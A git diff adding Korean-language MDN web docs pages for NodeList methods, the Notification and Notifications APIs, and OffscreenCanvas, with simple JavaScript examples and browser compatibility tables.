NodeList.keys() 메서드는 이 객체에 포함된 모든 키를 통과할 수 있는 {{jsxref("Iteration_protocols",'iterator')}} 를 반환합니다. 이 키는 부호없는 정수형(unsigned integer) 입니다.

+ +

Syntax

+ +
nodeList.keys();
+ +

Return value

+ +

{{jsxref("Iteration_protocols","iterator")}}를 반환합니다.

+ +

Example

+ +
var node = document.createElement("div");
+var kid1 = document.createElement("p");
+var kid2 = document.createTextNode("hey");
+var kid3 = document.createElement("span");
+
+node.appendChild(kid1);
+node.appendChild(kid2);
+node.appendChild(kid3);
+
+var list = node.childNodes;
+
+// Using for..of
+for(var key of list.keys()) {
+   console.log(key);
+}
+
+ +

결과는 다음과 같습니다 :

+ +
0
+1
+2
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#interface-nodelist','keys() (as iterable)')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.NodeList.keys")}}

+ +

See also

+ + diff --git a/files/ko/web/api/nodelist/length/index.html b/files/ko/web/api/nodelist/length/index.html new file mode 100644 index 0000000000..4e931dd73e --- /dev/null +++ b/files/ko/web/api/nodelist/length/index.html @@ -0,0 +1,35 @@ +--- +title: element.length +slug: Web/API/NodeList/length +tags: + - DOM + - Gecko + - Gecko DOM Reference +translation_of: Web/API/NodeList/length +--- +

{{ ApiRef() }}

+

요약

+

lengthNodeList의 항목수를 반환합니다.

+

구문

+
numItems =nodeList.length
+
+ +

+
// 문서의 모든 paragraph
+var items = document.getElementsByTagName("p");
+// 목록의 각 항목에,
+// HTML의 문자열로 전체 요소를 추가
+var gross = "";
+for (var i = 0; i < items.length; i++) {
+  gross += items[i].innerHTML;
+}
+// gross는 이제 모두 paragraph을 위한 HTML
+
+

주의

+

reference에서 이 페이지의 위치에도 불구하고, lengthElement의 프로퍼티가 아니고, NodeList의 프로퍼티입니다. NodeList 개체는 document.getElementsByTagName과 같은 많은 DOM 메소드에서 반환됩니다.

+

length는 DOM 프로그래밍에서 아주 흔한 프로퍼티입니다. 위 예에서처럼 목록의 길이(적어도 있는 지 보기 위해)를 조사하고 for 루프에서 훑개(반복자, iterator)로 널리 쓰입니다.

+

명세

+

length

+

{{ languages( { "en": "en/DOM/element.length", "pl": "pl/DOM/element.length" } ) }}

diff --git a/files/ko/web/api/nodelist/values/index.html b/files/ko/web/api/nodelist/values/index.html new file mode 100644 index 0000000000..5613e630ae --- /dev/null +++ b/files/ko/web/api/nodelist/values/index.html @@ -0,0 +1,72 @@ +--- +title: NodeList.values() +slug: Web/API/NodeList/values +translation_of: Web/API/NodeList/values +--- +

{{APIRef("DOM")}}

+ +

NodeList.values() 메서드는 이 객체에 포함된 모든 값을 통과할 수 있는 {{jsxref("Iteration_protocols",'iterator')}}를 반환합니다. 값은 {{domxref("Node")}} 객체 입니다.

+ +

Syntax

+ +
nodeList.values();
+ +

Return value

+ +

{{jsxref("Iteration_protocols","iterator")}}를 반환합니다.

+ +

Example

+ +
var node = document.createElement("div");
+var kid1 = document.createElement("p");
+var kid2 = document.createTextNode("hey");
+var kid3 = document.createElement("span");
+
+node.appendChild(kid1);
+node.appendChild(kid2);
+node.appendChild(kid3);
+
+var list = node.childNodes;
+
+// Using for..of
+for(var value of list.values()) {
+  console.log(value);
+}
+
+ +

결과는 다음과 같습니다 :

+ +
<p>
+#text "hey"
+<span>
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#interface-nodelist','values() (as iterable<Node>)')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.NodeList.values")}}

+ +

See also

+ + diff --git a/files/ko/web/api/notification/index.html b/files/ko/web/api/notification/index.html new file mode 100644 index 0000000000..1fb845f94d --- /dev/null +++ b/files/ko/web/api/notification/index.html @@ -0,0 +1,493 @@ +--- +title: Notification +slug: Web/API/notification +translation_of: Web/API/Notification +--- +

{{APIRef("Web Notifications")}}

+ +

Notifications APINotification 인터페이스는 사용자에게 데스크톱 알림을 설정하고 보여주는데 사용됩니다.

+ +

{{AvailableInWorkers}}

+ +

Constructor

+ +
+
{{domxref("Notification.Notification", "Notification()")}}
+
Notification 객체 인스턴스를 생성합니다.
+
+ +

Properties

+ +

Static properties

+ +

이 속성은 Notification 객체 안에만 존재합니다.

+ +
+
{{domxref("Notification.permission")}} {{readonlyinline}}
+
알림을 표시하기 위한 현재의 권한을 나타낸다. 가능한 값: denied (사용자가 알림 표시를 거절), granted (사용자가 알림 표시를 허용), default (사용자의 선택을 알 수 없기 때문에 브라우저가 거절한 상태의 값으로 작동하게됨).
+
+ +

Instance properties

+ +

이 속성은 Notification 객체의 인스턴스 안에만 존재합니다.

+ +
+
{{domxref("Notification.actions")}} {{readonlyinline}}
+
생성자의 옵션 파라메터 안에 명시된 알림의 액션 배열입니다.
+
{{domxref("Notification.badge")}} {{readonlyinline}}
+
알림을 나타낼 충분한 여유 공간이 없을 때에 알림을 표시하는 이미지의 URL입니다.
+
{{domxref("Notification.body")}} {{readonlyinline}}
+
생성자의 옵션 파라메터 안에 명시된 알림의 본문입니다.
+
{{domxref("Notification.data")}} {{readonlyinline}}
+
알림 데이타의 구조화된 복사본을 반환합니다.
+
{{domxref("Notification.dir")}} {{readonlyinline}}
+
생성자의 옵션 파라메터 안에 명시된 알림 글의 방향입니다.
+
{{domxref("Notification.lang")}} {{readonlyinline}}
+
생성자의 옵션 파라메터 안에 명시된 알림의 언어 코드입니다.
+
{{domxref("Notification.tag")}} {{readonlyinline}}
+
생성자의 옵션 파라메터 안에 명시된 경우 알림의 ID입니다.
+
{{domxref("Notification.icon")}} {{readonlyinline}}
+
생성자의 옵션 파라메터 안에 명시된 알림의 아이콘으로 사용될 이미지의 URL입니다.
+
{{domxref("Notification.image")}} {{readonlyinline}}
+
생성자의 옵션 파라메터 안에 명시된 알림의 일부분으로 표시될 이미지의 URL입니다.
+
{{domxref("Notification.requireInteraction")}} {{readonlyinline}}
+
자동으로 닫히지 않고 사용자가 클릭할 때 까지 활성화 된 채로 남아 있어야 함을 나타내는 {{jsxref("Boolean")}} 값입니다.
+
{{domxref("Notification.silent")}} {{readonlyinline}}
+
기기의 설정과 상관없이 소리가 없거나 진동이 울려야 한다는 등 알림이 조용해야 하는지를 나타냅니다.
+
{{domxref("Notification.timestamp")}} {{readonlyinline}}
+
알림이 생성되었거나 적용 가능한(과거, 현재, 미래) 시간을 나타냅니다.
+
{{domxref("Notification.title")}} {{readonlyinline}}
+
생성자의 첫번째 파라메터에 명시된 알림의 제목입니다.
+
{{domxref("Notification.vibrate")}} {{readonlyinline}}
+
진동기가 있는 기기가 나타내야할 진동 패턴을 나타냅니다.
+
+

Unsupported properties

+ +

아래의 속성은 최신 명세에는 등록되어 있지만 아직 구현한 브라우저가 없는 속성입니다. 현재의 상태에서 변경된 사항은 없는지 계속 확인해보아야 하는 내용이고 오래된 내용이 있으면 알려주시기 바랍니다.

+
+
{{domxref("Notification.noscreen")}} {{readonlyinline}}
+
알림이 기기의 화면을 활성화해야 하는지를 나타냅니다.
+
{{domxref("Notification.renotify")}} {{readonlyinline}}
+
새 알림이 오래된 알림을 교체할 때 사용자에게 알려야 하는지를 나타냅니다.
+
{{domxref("Notification.sound")}} {{readonlyinline}}
+
기본 시스템 설정 알림 소리를 대신할 알림 소리로 사용될 소리 자원을 나타냅니다.
+
{{domxref("Notification.sticky")}} {{readonlyinline}}
+
사용자가 쉽게 제거할 수 없게 '달라붙어'있어야 하는지를 나타냅니다.
+
+ +

Event handlers

+ +
+
{{domxref("Notification.onclick")}}
+
{{event("click")}} 이벤트에 대한 핸들러입니다. 사용자가 알림을 클릭할 때 마다 호출됩니다.
+
{{domxref("Notification.onerror")}}
+
{{event("error")}} 이벤트에 대한 핸들러입니다. 알림에 오류가 발생할 때 마다 호출됩니다.
+
+ +

Obsolete handlers

+ +

아래의 이벤트 핸들러는 {{anch("browser compatibility")}} 섹션에 나타난 대로 아직 지원되지만 현재 명세에 없는 내용입니다. 폐지된 것으로 생각해야 하고 앞으로 나올 브라우저에서는 작동하지 않을 수 있습니다.

+ +
+
{{domxref("Notification.onclose")}}
+
{{event("close")}} 이벤트에 대한 핸들러입니다. 사용자가 알림을 닫을 때 호출됩니다.
+
{{domxref("Notification.onshow")}}
+
{{event("show")}} 이벤트에 대한 핸들러입니다. 알림이 표시될 때 호출됩니다.
+
+ +

Methods

+ +

Static methods

+ +

이 메서드는 Notification 객체에만 존재합니다.

+ +
+
{{domxref("Notification.requestPermission()")}}
+
이 메서드는 페이지에서 알림을 표시할지 요청하는데 사용됩니다.
+
+ +

Instance methods

+ +

이 메서드는 Notification 객체의 인스턴스나 그 prototype에만 존재합니다. Notification 객체는 또한 {{domxref("EventTarget")}} 인터페이스를 상속 받습니다.

+ +
+
{{domxref("Notification.close()")}}
+
프로그램으로 알림을 닫습니다.
+
+ +

Example

+ +

다음과 같은 기본 HTML이 있을 때:

+ +
<button onclick="notifyMe()">Notify me!</button>
+ +

다음과 같이 알림을 보낼 수 있습니다. 알림이 지원되는지 우선 확인해 볼 때 사용할 수 있는 풍부하게 완성된 예제코드입니다. 그 다음에 현재 페이지에서 알림을 보낼 수 있게 권한이 있는지를 확인하고 알림을 보내기 전에 권한이 필요하면 요청을 합니다.

+ +
function notifyMe() {
+  // Let's check if the browser supports notifications
+  if (!("Notification" in window)) {
+    alert("This browser does not support desktop notification");
+  }
+
+  // Let's check whether notification permissions have already been granted
+  else if (Notification.permission === "granted") {
+    // If it's okay let's create a notification
+    var notification = new Notification("Hi there!");
+  }
+
+  // Otherwise, we need to ask the user for permission
+  else if (Notification.permission !== 'denied') {
+    Notification.requestPermission(function (permission) {
+      // If the user accepts, let's create a notification
+      if (permission === "granted") {
+        var notification = new Notification("Hi there!");
+      }
+    });
+  }
+
+  // At last, if the user has denied notifications, and you 
+  // want to be respectful there is no need to bother them any more.
+}
+ +

{{EmbedLiveSample('Example', '100%', 30)}}

+ +

많은 경우에 이렇게 장황할 필요는 없습니다. 예를 들어 Emogotchi 데모(소스코드)에서는 단순히 알림을 보내기 위해서 권한을 얻을 수 있는지와 상관없이 {{domxref("Notification.requestPermission")}}를 실행합니다(이 경우는 새로운 프로미스 기반 메서드 문법을 사용):

+ +
Notification.requestPermission().then(function(result) {
+  console.log(result);
+});
+ +

그 다음에 알림이 필요한 때에 단순히 spawnNotification() 함수를 실행합니다. 본문과 아이콘, 제목을 인자로 넘기면 필요한 options 객체를 만들고 {{domxref("Notification.Notification","Notification()")}} 생성자를 사용해서 알림을 발생시킵니다.

+ +
function spawnNotification(theBody,theIcon,theTitle) {
+  var options = {
+      body: theBody,
+      icon: theIcon
+  }
+  var n = new Notification(theTitle,options);
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Living standard
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{property_prefix("webkit")}}[1]
+ 22
{{CompatVersionUnknown}}4.0 {{property_prefix("moz")}}[2]
+ 22
{{CompatNo}}256[3]
icon5{{property_prefix("webkit")}}[1]
+ 22
{{CompatUnknown}}4.0 {{property_prefix("moz")}}[2]
+ 22
{{CompatNo}}25{{CompatNo}}
Available in workers{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("41.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
silent{{CompatChrome(43.0)}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
noscreen, sticky{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
sound{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
renotify{{CompatChrome(50.0)}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
Promise-based Notification.requestPermission(){{CompatChrome(46.0)}}{{CompatUnknown}}{{CompatGeckoDesktop("47.0")}}{{CompatUnknown}}{{CompatOpera(40)}}{{CompatNo}}
vibrate, actions{{CompatChrome(53.0)}}{{CompatUnknown}}  {{CompatOpera(39)}} 
badge{{CompatChrome(53.0)}}{{CompatUnknown}}  {{CompatOpera(39)}} 
image{{CompatChrome(55.0)}}{{CompatUnknown}}  {{CompatUnknown}} 
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}} +

{{CompatVersionUnknown}}

+
{{CompatVersionUnknown}}4.0{{property_prefix("moz")}}[2]
+ 22
1.0.1{{property_prefix("moz")}}[2]
+ 1.2
{{CompatNo}}{{CompatUnknown}}{{CompatNo}} +

{{CompatVersionUnknown}}

+
icon{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}4.0{{property_prefix("moz")}}[2]
+ 22
1.0.1{{property_prefix("moz")}}[2]
+ 1.2
{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatVersionUnknown}}
Available in workers{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("41.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
silent{{CompatNo}}{{CompatChrome(43.0)}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(43.0)}}
noscreen, sticky{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
sound{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}
renotify{{CompatNo}}{{CompatChrome(50.0)}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
Promise-based Notification.requestPermission(){{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("47.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
vibrate, actions{{CompatNo}}{{CompatChrome(53.0)}}{{CompatUnknown}}   {{CompatOperaMobile(39)}} {{CompatChrome(53.0)}}
badge{{CompatNo}}{{CompatChrome(53.0)}}{{CompatUnknown}}   {{CompatOperaMobile(39)}} {{CompatChrome(53.0)}}
image{{CompatNo}}{{CompatNo}}{{CompatUnknown}}   {{CompatUnknown}} {{CompatChrome(55.0)}}
+
+ +

[1] Chrome 22 이전에는 오래된 접두사형 명세와 새 알림 인스턴스를 만들 때 {{domxref("window.navigator.webkitNotifications","navigator.webkitNotifications")}} 객체를 사용해서 알림을 지원합니다.

+ +

Chrome 32 이전에는 {{domxref("Notification.permission")}}이 지원되지 않았습니다.

+ +

Chrome 42 이전에는 서비스 워커 추가가 지원되지 않았습니다.

+ +

Chrome 49 부터 익명(incognito) 모드에서는 알림이 작동하지 않습니다.

+ +

[2] Firefox 22(Firefox OS <1.2) 이전에는 새 알림 인스턴스 생성이 {{domxref("window.navigator.mozNotification", "navigator.mozNotification")}} 객체의 createNotification 메서드를 통해서 해야 했습니다.

+ +

Firefox 22 (Firefox OS <1.2) 이전에는 Notification이 show 메서드를 호출할 때에만 나왔고 clickclose 이벤트 만 지원했습니다.

+ +

새로운 구현와 이전 구현을 다 포괄하기 위해서 Nick Desaulniers가 Notification shim을 작성했습니다.

+ +

한가지 특별한 Firefox OS 이슈가 있는데 알림 아이콘을 사용하기 위해 아이콘 경로를 전달 할 수는 있지만 앱이 패키징되면 /my_icon.png와 같이 상대 경로를 사용할 수 없다는 점입니다. 또한 패키징 된 앱에서는 window.location.origin이 null이기 때문에 window.location.origin + "/my_icon.png"도 사용할 수 없습니다. Manifest origin 필드로 이 문제를 해결할 수 있지만 Firefox OS 1.1+에서만 사용할 수 있습니다. Firefox OS <1.1에 대한 가능한 해결책은 외부에서 호스트하는 절대경로 아이콘 URL을 넘기는 것 입니다. 이렇게 하면 아이콘 없이 알림이 먼저 나오고 그 다음에 아이콘에 붙게 되지만 모든 버전의 Firefox OS에서 동작합니다.

+ +

Firefox OS 앱에서 알림을 사용할 때에는 manifest 파일에 desktop-notification 권한을 추가하도록 합니다. 알림은 호스트 되거나 그 이상의 수준에서 사용할 수 있습니다: "permissions": { "desktop-notification": {} }

+ +

[3] Safari는 Safari 6에서 알림을 지원하지만 Mac OSX 10.8+ (Mountain Lion)에서만 지원합니다.

+ +

See also

+ + diff --git a/files/ko/web/api/notification/permission/index.html b/files/ko/web/api/notification/permission/index.html new file mode 100644 index 0000000000..30969fb541 --- /dev/null +++ b/files/ko/web/api/notification/permission/index.html @@ -0,0 +1,43 @@ +--- +title: Notification.permission +slug: Web/API/Notification/permission +translation_of: Web/API/Notification/permission +--- +

{{ ApiRef() }}

+

{{ SeeCompatTable() }}

+

요약

+

permission 속성은 웹 알림에 있어서 사용자에 의해 현재 앱에 허가된 현재 권한을 가리킵니다. 

+

문법

+
var permission = Notification.permission;
+
+

+

다음은 현재 권한을 표현하는 문자열입니다.

+ +

명세

+ + + + + + + + + + + + + + + +
명세상태비고
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Initial specification.
+

브라우저 호환

+

{{Page("/en-US/docs/Web/API/Notification","Browser compatibility")}}

+

See also

+ diff --git a/files/ko/web/api/notifications_api/index.html b/files/ko/web/api/notifications_api/index.html new file mode 100644 index 0000000000..4ab5d961dc --- /dev/null +++ b/files/ko/web/api/notifications_api/index.html @@ -0,0 +1,83 @@ +--- +title: Notifications API +slug: Web/API/Notifications_API +tags: + - 권한 + - 시스템 + - 알림 +translation_of: Web/API/Notifications_API +--- +

{{DefaultAPISidebar("Web Notifications")}}

+ +

Notifications API 는 웹 페이지가 일반 사용자에게 시스템 알림 표시를 제어할 수 있게 해줍니다. 이러한 알람은 최상단 브라우징 컨텍스트 뷰포트의 바깥에 위치하므로 사용자가 탭을 변경하거나 다른 앱으로 이동했을때에도 표시할 수 있습니다. 이 API 는 다양한 플랫폼에 존재하는 알림 시스템과 호환되도록 디자인되었습니다.

+ +

개념과 사용

+ +

지원되는 플랫폼에서, 시스템 알림 표시는 일반적으로 두 가지를 포함합니다. 첫째로, 사용자가 시스템 알림 표시에 대한 현재 origin 권한을 허용해야합니다. 이는 {{domxref("Notification.requestPermission()")}} 메소드를 사용해 앱이나 사이트가 초기화될 때 일반적으로 완료됩니다. 다음과 같이 요청 대화상자가 나타납니다.

+ +

+ +

여기에서 사용자는 이 origin 으로부터의 알림을 허용할지, 차단할지, 이 시점에는 선택하지 않을지를 선택할 수 있습니다. 하나가 선택된후에는, 그 설정이 현재 세션에대해서 일반적으로 유지됩니다.

+ +
+

노트: Firefox 44 부터 Notifications 와 Push 권한이 통합되었습니다. notifications 에대한 권한이 허용되면, push 또한 활성화됩니다.

+
+ +

그 다음, {{domxref("Notification.Notification","Notification()")}} 생성자를 사용해 새로운 알림이 생성됩니다. title 인자를 반드시 포함해야하며, 텍스트 방향, 바디 텍스트, 표시할 아이콘, 재생할 알림 사운드 등과 같은 옵션을 지정하는 옵션 객체를 선택적으로 전달할 수 있습니다.

+ +

{{AvailableInWorkers}}

+ +

부가적으로, Notifications API 명세는 ServiceWorker API 에 여러가지 추가 기능을 지정하여 service worker 가 알림을 발생시킬 수 있도록 허용합니다.

+ +
+

노트: 여러분의 앱에서 알림을 사용하는것에 대한 자세한 내용은 Notifications API 사용하기 글에서 찾아보시기 바랍니다.

+
+ +

Notifications 인터페이스

+ +
+
{{domxref("Notification")}}
+
notification 객체를 정의합니다.
+
+ +

Service worker 추가 기능

+ +
+
{{domxref("ServiceWorkerRegistration")}}
+
알림 표시 제어를 위한 {{domxref("ServiceWorkerRegistration.showNotification()")}} 와 {{domxref("ServiceWorkerRegistration.getNotifications()")}} 메소드를 포함합니다.
+
{{domxref("ServiceWorkerGlobalScope")}}
+
알림이 클릭됐을 때 커스텀 함수를 실행하기 위한 {{domxref("ServiceWorkerGlobalScope.onnotificationclick")}} 핸들러를 포함합니다.
+
{{domxref("NotificationEvent")}}
+
{{domxref("ExtendableEvent")}} 를 기반으로한 이벤트 객체의 특정 타입입니다. 발생한 알림을 나타냅니다.
+
+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Living standard
+ +

브라우저 호환성

+ +

Notification

+ + + +

{{Compat("api.Notification")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/notifyaudioavailableevent/index.html b/files/ko/web/api/notifyaudioavailableevent/index.html new file mode 100644 index 0000000000..cc63e7992c --- /dev/null +++ b/files/ko/web/api/notifyaudioavailableevent/index.html @@ -0,0 +1,32 @@ +--- +title: NotifyAudioAvailableEvent +slug: Web/API/NotifyAudioAvailableEvent +translation_of: Web/API/NotifyAudioAvailableEvent +--- +

{{APIRef("Web Audio API")}}{{Non-standard_header}}{{Deprecated_header}}This interface defines the event for audio elements triggered when the Audiobuffer is full.

+ +

Attributes

+ +
+ + + + + + + + + + + + + + + + + + +
AttributeTypeDescription
frameBufferFloat32ArrayThe frameBuffer attribute contains a typed array (Float32Array) with the raw audio data (32-bit float values) obtained from decoding the audio (e.g., the raw data being sent to the audio hardware vs. encoded audio). This is of the form [channel1, channel2, ..., channelN, channel1, channel2, ..., channelN, ...]. All audio frames are normalized to a length of channels * 1024 by default, but could be any length between 512 and 16384 if the user has set a different length using the mozFrameBufferLength attribute.  Read only.
timefloatThe time attribute contains a float representing the time in seconds of the first sample in the frameBuffer array since the start of the audio track.
+
+ +

 

diff --git a/files/ko/web/api/offscreencanvas/getcontext/index.html b/files/ko/web/api/offscreencanvas/getcontext/index.html new file mode 100644 index 0000000000..de0015ac61 --- /dev/null +++ b/files/ko/web/api/offscreencanvas/getcontext/index.html @@ -0,0 +1,117 @@ +--- +title: OffscreenCanvas.getContext() +slug: Web/API/OffscreenCanvas/getContext +translation_of: Web/API/OffscreenCanvas/getContext +--- +
{{APIRef("Canvas API")}} {{SeeCompatTable}}
+ +

OffscreenCanvas.getContext() 메소드는 offscreen 캔버스를 위한 드로잉 컨텍스트 반환합니다. 컨텍스트 식별자가 지원되는 상황이 아닐 경우 {{jsxref("null")}}를 반환합니다.

+ +
+

Note: 이 API는 현재 WebGL1과 WebGL2 컨텍스트에서만 실행됩니다.  Canvas 2D API 관련 {{bug(801176)}}를 참조하세요.

+
+ +

구문

+ +
offscreen.getContext(contextType, contextAttributes);
+
+ +

매개 변수

+ +
+
contextType
+
캔버스의 드로잉 컨텍스트를 정의하는 컨텍스트 식별자가 포함된 {{domxref("DOMString")}}입니다: +
    +
  • "2d"는 2차원 렌더링 컨텍스트를 표현하는 {{domxref("CanvasRenderingContext2D")}} 객체를 생성합니다.
  • +
  • "webgl"는 3차원 렌더링 컨텍스트를 표현하는 {{domxref("WebGLRenderingContext")}} 객체를 생성합니다. 이 컨텍스트는 WebGL 버전 1(OpenGL ES 2.0)을 지원하는 브라우저에서만 사용 가능합니다.
  • +
  • "webgl2"는 3차원 렌더링 컨텍스트를 표현하는 {{domxref("WebGL2RenderingContext")}} 객체를 생성합니다. 이 컨텍스트는 WebGL 버전 2 (OpenGL ES 3.0)를 지원하는 브라우저에서만 사용 가능합니다.  {{experimental_inline}}
  • +
  • +

    "bitmaprenderer"는 주어진 {{domxref("ImageBitmap")}}을 캔버스의 내용 대신 전환하는 함수를 제공하는 {{domxref("ImageBitmapRenderingContext")}}를 생성합니다. 

    +
  • +
+ +

Note:"experimental-webgl"과 "experimental-webgl2" 식별자는 WebGL에서도 사용됩니다. 그러나 아직 테스트 적합성을 통과하지 못했거나 플랫폼별 그래픽 드라이버 지원이 안정적이진 않습니다. Khronos Group은 특정한  정합성 규칙에 WebGL 구현을 인증하고 있습니다.

+
+
contextAttributes
+
+

You can use several context attributes when creating your rendering context, for example:

+ +
offscreen.getContext("webgl",
+                 { antialias: false,
+                   depth: false });
+ 2d context attributes: + +
    +
  • alpha: Boolean that indicates if the canvas contains an alpha channel. If set to false, the browser now knows that the backdrop is always opaque, which can speed up drawing of transparent content and images then.
  • +
  • {{non-standard_inline}} (Gecko only) willReadFrequently: Boolean that indicates whether or not a lot of read-back operations are planned. This will force the use of a software (instead of hardware accelerated) 2D canvas and can save memory when calling {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}} frequently. This option is only available, if the flag gfx.canvas.willReadFrequently.enable is set to true (which, by default, is only the case for B2G/Firefox OS).
  • +
  • {{non-standard_inline}} (Blink only) storage: String that indicates which storage is used ("persistent" by default).
  • +
+ WebGL context attributes: + +
    +
  • alpha: Boolean that indicates if the canvas contains an alpha buffer.
  • +
  • depth: Boolean that indicates that the drawing buffer has a depth buffer of at least 16 bits.
  • +
  • stencil: Boolean that indicates that the drawing buffer has a stencil buffer of at least 8 bits.
  • +
  • antialias: Boolean that indicates whether or not to perform anti-aliasing.
  • +
  • premultipliedAlpha: Boolean that indicates that the page compositor will assume the drawing buffer contains colors with pre-multiplied alpha.
  • +
  • preserveDrawingBuffer: If the value is true the buffers will not be cleared and will preserve their values until cleared or overwritten by the author.
  • +
  • +

    failIfMajorPerformanceCaveat: Boolean that indicates if a context will be created if the system performance is low.

    +
  • +
+
+
+ +

Return value

+ +

A {{domxref("RenderingContext")}} which is either a

+ + + +

If the contextType doesn't match a possible drawing context, null is returned.

+ +

Examples

+ +
var offscreen = new OffscreenCanvas(256, 256);
+var gl = offscreen.getContext("webgl");
+
+gl; // WebGLRenderingContext
+gl.canvas; // OffscreenCanvas
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#dom-offscreencanvas-getcontext", "OffscreenCanvas.getContext()")}}{{Spec2('HTML WHATWG')}} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.OffscreenCanvas.getContext")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/offscreencanvas/height/index.html b/files/ko/web/api/offscreencanvas/height/index.html new file mode 100644 index 0000000000..9cf16b703f --- /dev/null +++ b/files/ko/web/api/offscreencanvas/height/index.html @@ -0,0 +1,63 @@ +--- +title: OffscreenCanvas.height +slug: Web/API/OffscreenCanvas/height +tags: + - API + - Canvas + - Experimental + - OffscreenCanvas + - Property + - Reference +translation_of: Web/API/OffscreenCanvas/height +--- +
{{APIRef("Canvas API")}} {{SeeCompatTable}}
+ +

height 프로퍼티는 {{domxref("OffscreenCanvas")}} 객체에 할당된 높이를 반환합니다.

+ +

구문

+ +
var pxl = offscreen.height;
+offscreen.height = pxl;
+ +
+
+ +

예시

+ +

새로운 offscreen 캔버스를 생성하고 높이를 설정하거나 반환합니다.

+ +
var offscreen = new OffscreenCanvas(256, 256);
+offscreen.height; // 256
+offscreen.height = 512;
+
+ +

상세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#dom-offscreencanvas-height", "OffscreenCanvas.height")}}{{Spec2('HTML WHATWG')}} 
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.OffscreenCanvas.height")}}

+
+ +

더 보기

+ + diff --git a/files/ko/web/api/offscreencanvas/index.html b/files/ko/web/api/offscreencanvas/index.html new file mode 100644 index 0000000000..4e90bbf294 --- /dev/null +++ b/files/ko/web/api/offscreencanvas/index.html @@ -0,0 +1,153 @@ +--- +title: OffscreenCanvas +slug: Web/API/OffscreenCanvas +tags: + - API + - Canvas + - Experimental + - Interface + - Reference +translation_of: Web/API/OffscreenCanvas +--- +
{{APIRef("Canvas API")}} {{SeeCompatTable}}
+ +

OffscreenCanvas는 화면 밖에서 렌더링되는 캔버스 인터페이스입니다. window 객체와 worker 객체 모두 지원합니다.

+ +

생성자

+ +
+
{{domxref("OffscreenCanvas.OffscreenCanvas", "OffscreenCanvas()")}}
+
OffscreenCanvas 생성자. 새 OffscreenCanvas 객체를 생성합니다.
+
+ +

프로퍼티

+ +
+
{{domxref("OffscreenCanvas.height")}}
+
캔버스의 높이
+
{{domxref("OffscreenCanvas.width")}}
+
캔버스의 너비
+
+ +

메소드

+ +
+
{{domxref("OffscreenCanvas.getContext()")}}
+
렌더링된 캔버스 컨텍스트 객체를 반환합니다.
+
+ +
+
{{domxref("OffscreenCanvas.convertToBlob()")}}
+
캔버스에 들어있는 이미지에 대한 {{domxref("Blob")}} 객체를 생성합니다.
+
+ +
+
{{domxref("OffscreenCanvas.transferToImageBitmap()")}}
+
OffscreenCanvas에 렌더링된 이미지중에서 가장 최근에 렌더링된 이미지를 {{domxref("ImageBitmap")}} 객체로 생성합니다.
+
+ +

예시

+ +

OffscreenCanvas 에서 만들어진 프레임을 동기적으로 화면에 보여주는 방법

+ +

